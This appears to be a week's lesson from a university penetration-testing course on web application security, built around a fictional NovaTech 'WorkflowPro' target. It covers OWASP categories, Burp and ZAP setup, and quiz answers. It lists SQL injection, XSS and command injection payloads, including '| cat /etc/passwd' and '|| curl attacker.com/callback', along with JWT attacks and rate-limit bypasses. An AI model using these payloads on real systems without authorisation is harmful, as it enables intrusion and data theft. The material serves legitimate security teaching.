"The web application is where business logic meets user input—and where most breaches begin."
— Application Security Principle
Web applications represent the most exposed attack surface for most organizations.
Unlike infrastructure vulnerabilities that often require network access, web
application flaws are accessible to anyone with a browser. NovaTech's WorkflowPro
platform processes customer data and business workflows—making it the crown jewel
that attackers will target first.
Learning Outcomes
By the end of this week, you will be able to:
LO1: Apply the OWASP Testing Guide methodology to systematically assess web
application security
LO2: Configure and utilize web application security testing tools including Burp
Suite and OWASP ZAP
LO3: Identify and validate common web vulnerabilities from the OWASP Top 10
LO4: Test API endpoints for authentication, authorization, and injection
vulnerabilities
LO5: Document web application findings with reproducible proof-of-concept evidence
Introduction: The Application Layer
Last week focused on infrastructure—operating systems, network services, and
system configurations. This week shifts to the application layer, where custom
code meets user input. Web application vulnerabilities differ fundamentally
from infrastructure issues: they're often unique to the specific application,
can't be fixed with vendor patches, and require developer remediation.
For NovaTech, the WorkflowPro application is business-critical. It handles
customer authentication, processes sensitive workflow data, and integrates
with customer systems via APIs. A vulnerability here could expose customer
data, enable account takeover, or compromise the entire platform.
The OWASP Top 10 represents the most critical web application security risks.
Your assessment should systematically test for each category:
A01
Broken Access Control
Failures in enforcing restrictions on authenticated users. Users can
act outside intended permissions—accessing other users' data, modifying
access controls, or performing unauthorized actions.
Examples: IDOR, privilege escalation, forced browsing, CORS
misconfiguration
A02
Cryptographic Failures
Failures related to cryptography that expose sensitive data. Includes
transmitting data in clear text, using weak algorithms, or improper
key management.
User-supplied data is sent to an interpreter as part of a command or
query. Hostile data can trick the interpreter into executing unintended
commands or accessing unauthorized data.
Examples: SQL injection, NoSQL injection, OS command
injection, LDAP injection
A04
Insecure Design
Flaws in design and architecture that cannot be fixed by perfect
implementation. Missing or ineffective security controls at the
design level.
Weaknesses in authentication mechanisms that allow attackers to
compromise passwords, keys, or session tokens, or exploit implementation
flaws to assume other users' identities.
Code and infrastructure that doesn't protect against integrity
violations. Includes insecure CI/CD pipelines and auto-update
functionality without verification.
Insufficient logging, detection, monitoring, and active response.
Without proper logging, breaches cannot be detected or investigated.
Examples: Login failures not logged, no alerting, logs only
stored locally
A10
Server-Side Request Forgery (SSRF)
Web application fetches a remote resource without validating the
user-supplied URL. Allows attackers to coerce the application to
send crafted requests to unexpected destinations.
Examples: Internal port scanning via application, cloud
metadata access, internal service access
2. Web Application Testing Tools
Effective web application testing requires specialized tools. The cornerstone
is an intercepting proxy that allows you to inspect and modify HTTP traffic.
Burp Suite
Burp Suite is the industry-standard web application testing platform. The
Community Edition (free) provides core functionality; Professional adds
automated scanning and advanced features.
Initial Configuration
Launch Burp Suite:
burpsuite &
Configure Browser Proxy:
Burp listens on 127.0.0.1:8080 by default
Configure browser to use this proxy (Firefox recommended for easy proxy switching)
Or use FoxyProxy browser extension for quick toggling
Install Burp CA Certificate:
Navigate to http://burp with proxy enabled
Download CA Certificate
Import into browser's certificate store as trusted CA
Configure Scope:
Target → Scope → Add target domains
Add: *.workflowpro.io, *.novatech-solutions.com
Enable "Use advanced scope control" for regex patterns
OWASP Zed Attack Proxy is a free, open-source alternative to Burp Suite.
It includes automated scanning capabilities in the free version.
ZAP Quick Start
# Launch ZAP
zaproxy &
# Or use headless mode for automated scanning
zap-cli quick-scan -s all -r report.html https://target.com
# API scan for OpenAPI/Swagger specs
zap-cli openapi-scan -f openapi.json -t https://api.target.com
Key ZAP Features
Automated Scanner: Active and passive scanning (free)
Spider: Automatic application crawling
Fuzzer: Built-in fuzzing capability
HUD: Heads-up display for in-browser testing
API: REST API for automation and CI/CD integration
Add-ons: Extensive marketplace for additional functionality
Supplementary Tools
Tool
Purpose
Usage
nikto
Web server vulnerability scanner
nikto -h https://target -o nikto.html -Format html
nuclei
Template-based vulnerability scanner
nuclei -u https://target -t cves/ -o nuclei.txt
sqlmap
SQL injection automation
sqlmap -u "url?param=value" --batch
ffuf
Fast web fuzzer
ffuf -u https://target/FUZZ -w wordlist.txt
wfuzz
Web fuzzing
wfuzz -c -z file,wordlist.txt https://target/FUZZ
httpx
HTTP probing and analysis
cat urls.txt | httpx -title -tech-detect
whatweb
Technology fingerprinting
whatweb -a 3 https://target
3. Testing Methodology
The OWASP Testing Guide provides a comprehensive methodology for web application
assessment. Follow this structured approach to ensure complete coverage.
# Capture login request in Burp
POST /api/auth/login HTTP/1.1
Host: api.workflowpro.io
Content-Type: application/json
{"email":"test@example.com","password":"testpassword"}
# Tests to perform:
# 1. Credential transmission (HTTPS only?)
# 2. Response differences for valid vs invalid users
# 3. Account lockout after failed attempts
# 4. Password complexity requirements
# 5. Rate limiting on login endpoint
Default Credentials Check
# Common default credentials to test
admin:admin
admin:password
administrator:administrator
test:test
demo:demo
guest:guest
# Check for documented test accounts in:
# - API documentation
# - JavaScript source code
# - Error messages
# - robots.txt / sitemap.xml
Password Reset Testing
# Test password reset flow for:
# 1. Token predictability
# 2. Token expiration
# 3. Token reuse
# 4. User enumeration via different responses
# 5. Email parameter manipulation
# Example: Host header injection for password reset
POST /api/auth/forgot-password HTTP/1.1
Host: evil.com
X-Forwarded-Host: evil.com
{"email":"victim@novatech.com"}
# Check if reset link uses attacker's domain
Phase 4: Authorization Testing
Insecure Direct Object Reference (IDOR)
# Identify endpoints with object IDs
GET /api/users/12345/profile HTTP/1.1
GET /api/workflows/67890/data HTTP/1.1
GET /api/documents/11111/download HTTP/1.1
# Test with different IDs
# 1. Log in as User A (ID: 12345)
# 2. Note API calls with user-specific IDs
# 3. Change ID to User B's ID (12346)
# 4. Check if access is granted
# Burp Intruder setup for IDOR testing
# Position: GET /api/users/§12345§/profile
# Payload: Numbers 12340-12350
# Compare responses for unauthorized access
Horizontal Privilege Escalation
# Test accessing other users' resources at same privilege level
# Example workflow:
# 1. Create account A, note assigned resources
# 2. Create account B, note assigned resources
# 3. As account A, attempt to access B's resources
# 4. Modify request parameters, cookies, or headers
# Common parameters to manipulate:
# - user_id, userId, uid
# - account_id, accountId
# - org_id, organization_id
# - email (in request body)
Vertical Privilege Escalation
# Test accessing admin functions as regular user
# Identify admin endpoints
GET /api/admin/users HTTP/1.1
POST /api/admin/settings HTTP/1.1
DELETE /api/users/12345 HTTP/1.1
# Test as regular user:
# 1. Capture admin session token (if available from other testing)
# 2. Or simply try admin endpoints with regular user session
# 3. Modify role/privilege parameters in requests/cookies
# JWT role manipulation
# Original: {"role": "user", ...}
# Modified: {"role": "admin", ...}
Phase 6: Input Validation Testing
SQL Injection Testing
# Manual testing payloads
' OR '1'='1
' OR '1'='1'--
" OR "1"="1
' UNION SELECT NULL--
' AND 1=1--
' AND 1=2--
# Test in various parameters
/api/users?id=1' OR '1'='1
/api/search?q=test' UNION SELECT NULL--
# Automated testing with sqlmap
sqlmap -u "https://api.workflowpro.io/api/users?id=1" \
--cookie="session=abc123" \
--batch --risk=2 --level=3
# For POST requests
sqlmap -r request.txt --batch --dbs
# request.txt (captured from Burp):
# POST /api/search HTTP/1.1
# Host: api.workflowpro.io
# Content-Type: application/json
# Cookie: session=abc123
#
# {"query":"test*"}
Cross-Site Scripting (XSS) Testing
# Basic XSS payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
javascript:alert('XSS')
# Context-specific payloads
# Inside HTML attribute:
" onmouseover="alert('XSS')
' onfocus='alert(1)' autofocus='
# Inside JavaScript:
';alert('XSS');//
</script><script>alert('XSS')</script>
# Inside JSON:
{"name":"<script>alert('XSS')</script>"}
# Test all input fields:
# - Search boxes
# - Profile fields (name, bio)
# - Comments/messages
# - URL parameters reflected in page
# - Error messages
# Check for stored vs reflected XSS
# Stored: Submit payload, see if it persists
# Reflected: Payload in URL parameter appears in response
Command Injection Testing
# Common injection payloads
; ls -la
| cat /etc/passwd
`whoami`
$(whoami)
& ping -c 1 attacker.com
|| curl attacker.com/callback
# Test in parameters that might invoke system commands:
# - File operations (filename, path)
# - Image processing
# - PDF generation
# - Email functionality
# - DNS lookups
# Time-based detection
; sleep 10
| sleep 10
`sleep 10`
$(sleep 10)
# Out-of-band detection (if no output visible)
; curl http://YOUR-BURP-COLLABORATOR.net
; nslookup YOUR-BURP-COLLABORATOR.net
4. API Security Testing
Modern applications heavily rely on APIs. WorkflowPro uses both REST and
GraphQL APIs, each requiring specific testing approaches.
REST API Testing
API Discovery
# Check for API documentation
https://api.workflowpro.io/swagger
https://api.workflowpro.io/swagger.json
https://api.workflowpro.io/api-docs
https://api.workflowpro.io/openapi.json
https://api.workflowpro.io/docs
# Enumerate endpoints from JavaScript
grep -roh '/api/[^"]*' *.js | sort -u
# Fuzz for API endpoints
ffuf -u https://api.workflowpro.io/api/FUZZ \
-w /usr/share/wordlists/api-endpoints.txt \
-mc 200,201,401,403
Authentication Testing
# Test API key handling
# 1. Is API key in URL? (should be in header)
# 2. Is key logged in server logs?
# 3. Key rotation mechanism?
# JWT Testing
# Decode JWT (jwt.io or command line)
echo "eyJhbG..." | base64 -d
# Test for:
# 1. Algorithm confusion (change RS256 to HS256)
# 2. None algorithm (remove signature)
# 3. Key confusion (use public key as HMAC secret)
# 4. Expired token acceptance
# 5. Signature not verified
# Tool: jwt_tool
python3 jwt_tool.py <JWT> -M at # All tests
python3 jwt_tool.py <JWT> -X a # Algorithm confusion
Rate Limiting and Abuse
# Test rate limiting
for i in {1..100}; do
curl -s -o /dev/null -w "%{http_code}\n" \
https://api.workflowpro.io/api/endpoint
done | sort | uniq -c
# Check for rate limit headers
X-RateLimit-Limit
X-RateLimit-Remaining
X-RateLimit-Reset
Retry-After
# Bypass techniques:
# 1. Add X-Forwarded-For with different IPs
# 2. Use different API keys (if multiple available)
# 3. Rotate User-Agent
# 4. Add null bytes or path variations
GraphQL API Testing
Introspection
# Full introspection query
curl -X POST https://api.workflowpro.io/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{__schema{types{name,fields{name}}}}"}'
# Get all types and fields
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
name
kind
fields {
name
args { name type { name } }
type { name kind }
}
}
}
}
# Tool: graphql-voyager for visualization
# Tool: InQL Burp extension for GraphQL testing
# Analyze cookies
# Browser DevTools → Application → Cookies
# Look for session cookies without:
# - Secure flag (if HTTPS site)
# - HttpOnly flag (for session tokens)
# - SameSite attribute
# Example insecure cookie:
Set-Cookie: session=abc123; Path=/
# Example secure cookie:
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Strict
CORS Configuration
Testing CORS
# Test CORS policy
curl -H "Origin: https://evil.com" \
-I https://api.workflowpro.io/api/user
# Check response for:
Access-Control-Allow-Origin: https://evil.com # BAD - reflects origin
Access-Control-Allow-Origin: * # BAD - allows any origin
Access-Control-Allow-Credentials: true # Especially bad with * origin
# Dangerous CORS configuration:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# This allows evil.com to make authenticated requests!
# Test null origin
curl -H "Origin: null" -I https://api.workflowpro.io/api/user
# Test with credentials
# If CORS allows credentials, test cross-origin data theft
6. Documenting Web Application Findings
Web application findings require detailed documentation including request/response
pairs, step-by-step reproduction, and proof-of-concept evidence.
Finding Documentation Template
NOVA-WEB-001High
Stored Cross-Site Scripting (XSS) in Workflow Name
Affected Component
Application:
WorkflowPro (app.workflowpro.io)
Endpoint:
POST /api/workflows
Parameter:
name (JSON body)
Severity
CVSS v3.1:
7.1 High
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
CWE:
CWE-79: Improper Neutralization of Input During Web Page Generation
Description
The workflow name field in the WorkflowPro application is vulnerable to
stored cross-site scripting. User-supplied input in the name field is
stored in the database and rendered without proper encoding when the
workflow is displayed on the dashboard or shared with other users.
An attacker can inject malicious JavaScript that executes in the context
of other users' browsers when they view workflows, potentially leading
to session hijacking, data theft, or phishing attacks.
Steps to Reproduce
Log in to WorkflowPro as any authenticated user
Navigate to "Create New Workflow"
In the workflow name field, enter:
<script>alert(document.cookie)</script>
Save the workflow
Return to the dashboard
Observe the JavaScript alert displaying session cookies
Share the workflow with another user
When the other user views the workflow, the script executes in their browser
Test your understanding of web application security testing:
Question 1
You're testing WorkflowPro's search functionality. The URL is
/search?q=test and your search term appears in the page.
You try <script>alert(1)</script> but it displays
as text rather than executing. Does this mean the application is secure
against XSS?
Reveal Answer
Not necessarily. The application may be encoding < and
> characters, but XSS can occur in other contexts:
Inside attributes: Try " onmouseover="alert(1)
Inside JavaScript: Try '-alert(1)-' or
';alert(1)//
Inside event handlers: Try javascript:alert(1)
Filter bypass: Try <img src=x onerror=alert(1)> or
encoding variations
View the page source to understand how your input is rendered. The context
determines which payloads might work. Also test if the search term appears
in multiple locations on the page—each might have different encoding.
Question 2
The WorkflowPro API returns this response for invalid authentication:
{"error": "Invalid password for user admin@novatech.com"}
What security issue does this represent, and why is it significant?
Reveal Answer
This is a User Enumeration vulnerability. The error message
confirms that the username "admin@novatech.com" exists in the system.
Significance:
Targeted attacks: Attackers know which accounts exist for password spraying
Social engineering: Confirmed email addresses enable phishing
Privacy: Reveals who has accounts (may be sensitive)
Remediation: Return generic error: "Invalid username or password"
regardless of whether the username exists. Also ensure response timing is
consistent to prevent timing-based enumeration.
Question 3
You discover the following API endpoint while testing:
GET /api/users/12345/documents
You're logged in as user ID 12345. What tests should you perform to
check for authorization vulnerabilities?
Reveal Answer
Test for IDOR (Insecure Direct Object Reference):
Horizontal escalation: Change 12345 to another user's ID (12346, 12344,
etc.)
Boundary testing: Try ID 0, 1, -1, very large numbers
Type confusion: Try "admin", "null", "undefined" as ID
Case variations: If using string IDs, try different cases
Without authentication: Remove auth token entirely
Mass enumeration: Use Burp Intruder to iterate through IDs
Also check related endpoints: /api/users/12345/settings,
/api/users/12345/billing, etc. One may be vulnerable even
if others aren't.
Question 4
The application uses JWT tokens for authentication. You decode a token and
see: {"alg": "HS256", "typ": "JWT"} in the header. What attacks
should you attempt?
Reveal Answer
Several JWT-specific attacks to test:
Algorithm confusion (None): Change header to {"alg": "none"},
remove signature
Algorithm confusion (RS256→HS256): If server has RS256 public key, try
using it as HS256 secret
Weak secret: Attempt to crack the HS256 secret (use jwt_tool or hashcat)
Payload tampering: Modify claims (role, user_id) and re-sign if you crack
the secret
Token expiration: Check if expired tokens are accepted
Signature verification: Modify payload without changing signature—see if
accepted
Kid injection: If "kid" header present, test for SQL injection or path
traversal
# Using jwt_tool
jwt_tool <token> -X a # Try all attacks
jwt_tool <token> -X n # None algorithm
jwt_tool <token> -C -d wordlist.txt # Crack secret
Question 5
Explain why you should test for SQL injection even in a modern application
using an ORM (Object-Relational Mapper) like Sequelize or SQLAlchemy.
Reveal Answer
While ORMs provide protection against many SQL injection vectors, they're
not foolproof:
Raw queries: Developers sometimes bypass ORM for complex queries, using raw
SQL
Dynamic ordering:ORDER BY clauses often use direct column
names from user input
ORM vulnerabilities: ORMs themselves can have injection vulnerabilities
Stored procedures: Calls to stored procedures may not be parameterized
NoSQL injection: MongoDB and similar databases have their own injection
vectors
Second-order injection: Data stored safely, but later used in raw query
Always test injection points regardless of assumed protections. The absence
of findings validates the security control; skipping tests assumes security.
Question 6
You find the response header Access-Control-Allow-Origin: * on
the WorkflowPro API. Under what conditions is this a security vulnerability?
Reveal Answer
Access-Control-Allow-Origin: * is problematic when:
Sensitive data returned: Any website can make requests and read responses
Authentication exists: However, * cannot be combined with
Access-Control-Allow-Credentials: true—browsers block this
When it's acceptable: Public APIs returning non-sensitive,
publicly available data (like weather or public documentation).
When it's dangerous: If the API relies on other authentication
(like API keys in headers that the browser already has), or if the endpoint
returns any user-specific or sensitive information.
Always check what data the endpoint returns and whether it should be
publicly accessible from any origin.
Lab: Web Application Security Assessment
Objective
Conduct a comprehensive web application security assessment using the
OWASP methodology, identify vulnerabilities, and document findings with
professional evidence.
Deliverables
Web Application Testing Checklist: Completed testing matrix
Burp Project File: Saved session with all testing traffic
Validated Findings Document: Professionally documented web vulnerabilities
Time Estimate
5-6 hours
Practice Targets
Use these intentionally vulnerable applications for hands-on practice:
OWASP Juice Shop: Modern vulnerable web app —
GitHub or
Live Demo
Apply all CSY203 web security skills to comprehensively assess the capstone web application.
🌐 PortSwigger: Advanced Labs
What you'll do: Complete advanced PortSwigger labs across all OWASP Top 10 categories for comprehensive web assessment practice. Time estimate: 6-8 hours
💡 Capstone Strategy: Demonstrate depth—find chained vulnerabilities, not just individual bugs.
Resources
Required
OWASP Web Security Testing Guide
The definitive guide to web application security testing methodology.
Covers all testing categories with detailed procedures.
Reflect on the difference between infrastructure vulnerability assessment
(Week 3) and web application security testing (this week). How do the
tools, methodologies, and types of findings differ? Which do you find
more challenging, and why?
Consider how web application vulnerabilities often represent custom code
issues that can't be fixed with vendor patches. How does this affect
remediation recommendations and the relationship between security testers
and development teams? What communication skills are essential when
reporting web application findings to developers?